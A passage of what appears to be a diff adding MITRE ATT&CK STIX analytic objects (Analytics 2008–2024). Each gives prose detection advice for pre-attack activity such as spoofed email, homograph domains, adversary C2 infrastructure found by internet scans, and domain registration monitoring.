[ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--93a6e38c-02a5-44d8-9035-b2e08459f31f", + "name": "Malware Repository", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--44001c2d-9832-4b2d-b3ac-a25cea93e03f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0876#AN2008", + "external_id": "AN2008" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 2008", + "description": "Consider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently modified accounts making numerous connection requests to accounts affiliated with your organization.\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).\nMonitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--8fb2f315-1aca-4cef-ae0d-8105e1f95985", + "name": "Persona", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "Network Traffic", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--cf66582f-6fa3-4d3b-a322-95c2af08b49b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0877#AN2009", + "external_id": "AN2009" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 2009", + "description": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--985e0098-b77c-4099-a262-5f195b654187", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0878#AN2010", + "external_id": "AN2010" + }, + { + "source_name": "ACSC Email Spoofing", + "description": "Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved November 17, 2024.", + "url": "https://web.archive.org/web/20210708014107/https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf" + }, + { + "source_name": "Microsoft Anti Spoofing", + "description": "Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020.", + "url": "https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide" + }, + { + "source_name": "Mandiant URL Obfuscation 2023", + "description": "Nick Simonian. (2023, May 22). Don't @ Me: URL Obfuscation Through Schema Abuse. Retrieved August 4, 2023.", + "url": "https://www.mandiant.com/resources/blog/url-obfuscation-schema-abuse" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 2010", + "description": "Monitor for suspicious email activity, such as numerous accounts receiving messages from a single unusual/unknown sender. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing) Monitor for references to uncategorized or known-bad sites. URL inspection within email (including expanding shortened links and identifying obfuscated URLs) can also help detect links leading to known malicious sites.(Citation: Mandiant URL Obfuscation 2023)\n\nFurthermore, monitor browser logs for homographs in ASCII and in internationalized domain names abusing different character sets (e.g. Cyrillic vs Latin versions of trusted sites).\nMonitor network data for uncommon data flows. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.\nMonitor and analyze traffic patterns and packet inspection associated to protocol(s), leveraging SSL/TLS inspection for encrypted traffic, that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).\n\nFurthermore, monitor network traffic for homographs via the use of internationalized domain names abusing different character sets (e.g. Cyrillic vs Latin versions of trusted sites). Also monitor and analyze traffic patterns and packet inspection for indicators of cloned websites. For example, if adversaries use HTTrack to clone websites, Mirrored from (victim URL) may be visible in the HTML section of packets. ", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "Application Log", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "Network Traffic", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "Network Traffic", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--cce3f1e3-a688-4519-bd9b-0ec5ba57bc11", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0879#AN2011", + "external_id": "AN2011" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 2011", + "description": "Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during exfiltration (ex: [Transfer Data to Cloud Account](https://attack.mitre.org/techniques/T1537)).", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--40c8a3ac-4fe9-49c3-a9bd-f8f684d42003", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0880#AN2012", + "external_id": "AN2012" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 2012", + "description": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--86a212ef-8e7b-4c51-9e7f-492da2283294", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0881#AN2013", + "external_id": "AN2013" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 2013", + "description": "If infrastructure or patterns in the malicious web content related to SEO poisoning or [Drive-by Target](https://attack.mitre.org/techniques/T1608/004) have been previously identified, internet scanning may uncover when an adversary has staged web content supporting a strategic web compromise. Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on other phases of the adversary lifecycle, such as [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) or [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203).", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--0dcbbf4f-929c-489a-b66b-9b820d3f7f0e", + "name": "Internet Scan", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--da084995-0644-4152-a72d-44034845173a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0882#AN2014", + "external_id": "AN2014" + }, + { + "source_name": "ThreatConnect Infrastructure Dec 2020", + "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.", + "url": "https://threatconnect.com/blog/infrastructure-research-hunting/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 2014", + "description": "Once adversaries leverage the abused web service as infrastructure (ex: for command and control), it may be possible to look for unique characteristics associated with adversary software, if known.(Citation: ThreatConnect Infrastructure Dec 2020)\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control [Web Service](https://attack.mitre.org/techniques/T1102) or [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567) .", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--0dcbbf4f-929c-489a-b66b-9b820d3f7f0e", + "name": "Internet Scan", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--d52fee09-db6e-4fe5-a859-7f3d273e85f0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0883#AN2015", + "external_id": "AN2015" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 2015", + "description": "Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during [Phishing](https://attack.mitre.org/techniques/T1566), [Endpoint Denial of Service](https://attack.mitre.org/techniques/T1499), or [Network Denial of Service](https://attack.mitre.org/techniques/T1498).", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--a62c45c3-3471-4366-9f7c-738fbd9473bd", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0884#AN2016", + "external_id": "AN2016" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 2016", + "description": "Much of this takes place outside the visibility of the target organization, making detection difficult for defenders. \n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. ", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--816aaddd-dc6d-49da-8ecd-8afde6278181", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0885#AN2017", + "external_id": "AN2017" + }, + { + "source_name": "Koczwara Beacon Hunting Sep 2021", + "description": "Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021.", + "url": "https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2" + }, + { + "source_name": "Mandiant SCANdalous Jul 2020", + "description": "Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved November 17, 2024.", + "url": "https://cloud.google.com/blog/topics/threat-intelligence/scandalous-external-detection-using-network-scan-data-and-automation/" + }, + { + "source_name": "ThreatConnect Infrastructure Dec 2020", + "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.", + "url": "https://threatconnect.com/blog/infrastructure-research-hunting/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 2017", + "description": "Once adversaries have provisioned compromised infrastructure (ex: a server for use in command and control), internet scans may help proactively discover compromised infrastructure. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021)\nConsider monitoring for anomalous changes to domain registrant information and/or domain resolution information that may indicate the compromise of a domain. Efforts may need to be tailored to specific domains of interest as benign registration and resolution changes are a common occurrence on the internet.\nMonitor for queried domain name system (DNS) registry data that may compromise third-party infrastructure that can be used during targeting. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.\nMonitor for logged domain name system (DNS) data that may compromise third-party infrastructure that can be used during targeting. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.\nMonitor for contextual data about an Internet-facing resource gathered from a scan, such as running services or ports that may compromise third-party infrastructure that can be used during targeting. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--0dcbbf4f-929c-489a-b66b-9b820d3f7f0e", + "name": "Internet Scan", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--ff9b665a-598b-4bcb-8b2a-a87566aa1256", + "name": "Domain Name", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2e521444-7295-4dec-96c1-7595b2df7811", + "name": "Domain Name", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--cc150ad8-ecfa-4340-9aaa-d21165873bd4", + "name": "Domain Name", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--1067aa74-5796-4d9b-b4f1-a4c9eb6fd9da", + "name": "Internet Scan", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--80e453fd-8191-474a-b577-7a575ef5fe87", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0886#AN2018", + "external_id": "AN2018" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 2018", + "description": "Monitor call logs from corporate devices to identify patterns of potential voice phishing, such as calls to/from known malicious phone numbers.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "Application Log", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--9ead155d-e99b-4cca-8ace-0a90d533e875", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0887#AN2019", + "external_id": "AN2019" + }, + { + "source_name": "ThreatConnect Infrastructure Dec 2020", + "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.", + "url": "https://threatconnect.com/blog/infrastructure-research-hunting/" + }, + { + "source_name": "ATT ScanBox", + "description": "Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020.", + "url": "https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 2019", + "description": "Internet scanners may be used to look for patterns associated with malicious content designed to collect host hardware information from visitors.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: ATT ScanBox)\nMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--0dcbbf4f-929c-489a-b66b-9b820d3f7f0e", + "name": "Internet Scan", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--da8a7d00-6f8a-4bc6-9863-3a434c9d36c1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0888#AN2020", + "external_id": "AN2020" + }, + { + "source_name": "ThreatConnect Infrastructure Dec 2020", + "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.", + "url": "https://threatconnect.com/blog/infrastructure-research-hunting/" + }, + { + "source_name": "ATT ScanBox", + "description": "Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020.", + "url": "https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 2020", + "description": "Internet scanners may be used to look for patterns associated with malicious content designed to collect host software information from visitors.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: ATT ScanBox)\nMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--0dcbbf4f-929c-489a-b66b-9b820d3f7f0e", + "name": "Internet Scan", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--e1f67192-803a-4cd3-a455-64bb623263d6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0889#AN2021", + "external_id": "AN2021" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 2021", + "description": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--7726e542-666b-4eeb-8998-cddb45a41605", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0890#AN2022", + "external_id": "AN2022" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 2022", + "description": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--9eb9a81f-cf55-48f8-a8da-217a7684aff4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0891#AN2023", + "external_id": "AN2023" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 2023", + "description": "Monitor for queried domain name system (DNS) registry data that may compromise third-party DNS servers that can be used during targeting. Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.\nMonitor for logged domain name system (DNS) registry data that may compromise third-party DNS servers that can be used during targeting. Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--2e521444-7295-4dec-96c1-7595b2df7811", + "name": "Domain Name", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--cc150ad8-ecfa-4340-9aaa-d21165873bd4", + "name": "Domain Name", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--68a7b414-9864-46c6-b629-bec6f07b5c31", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0892#AN2024", + "external_id": "AN2024" + }, + { + "source_name": "ThreatConnect Infrastructure Dec 2020", + "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.", + "url": "https://threatconnect.com/blog/infrastructure-research-hunting/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 2024", + "description": "Monitor logged domain name system (DNS) data for purchased domains that can be used during targeting. Reputation/category-based detection may be difficult until the categorization is updated. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access and Command and Control. \nDomain registration information is, by design, captured in public registration logs. Consider use of services that may aid in tracking of newly acquired domains, such as WHOIS databases and/or passive DNS. In some cases it may be possible to pivot on known pieces of domain registration information to uncover other infrastructure purchased by the adversary. Consider monitoring for domains created with a similar structure to your own, including under a different TLD. Though various tools and services exist to track, query, and monitor domain name registration information, tracking across multiple DNS infrastructures can require multiple tools/services or more advanced analytics.(Citation: ThreatConnect Infrastructure Dec 2020) Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access and Command and Control.\nMonitor queried domain name system (DNS) registry data for purchased domains that can be used during targeting. Reputation/category-based detection may be difficult until the categorization is updated. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access and Command and Control.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--cc150ad8-ecfa-4340-9aaa-d21165873bd4", + 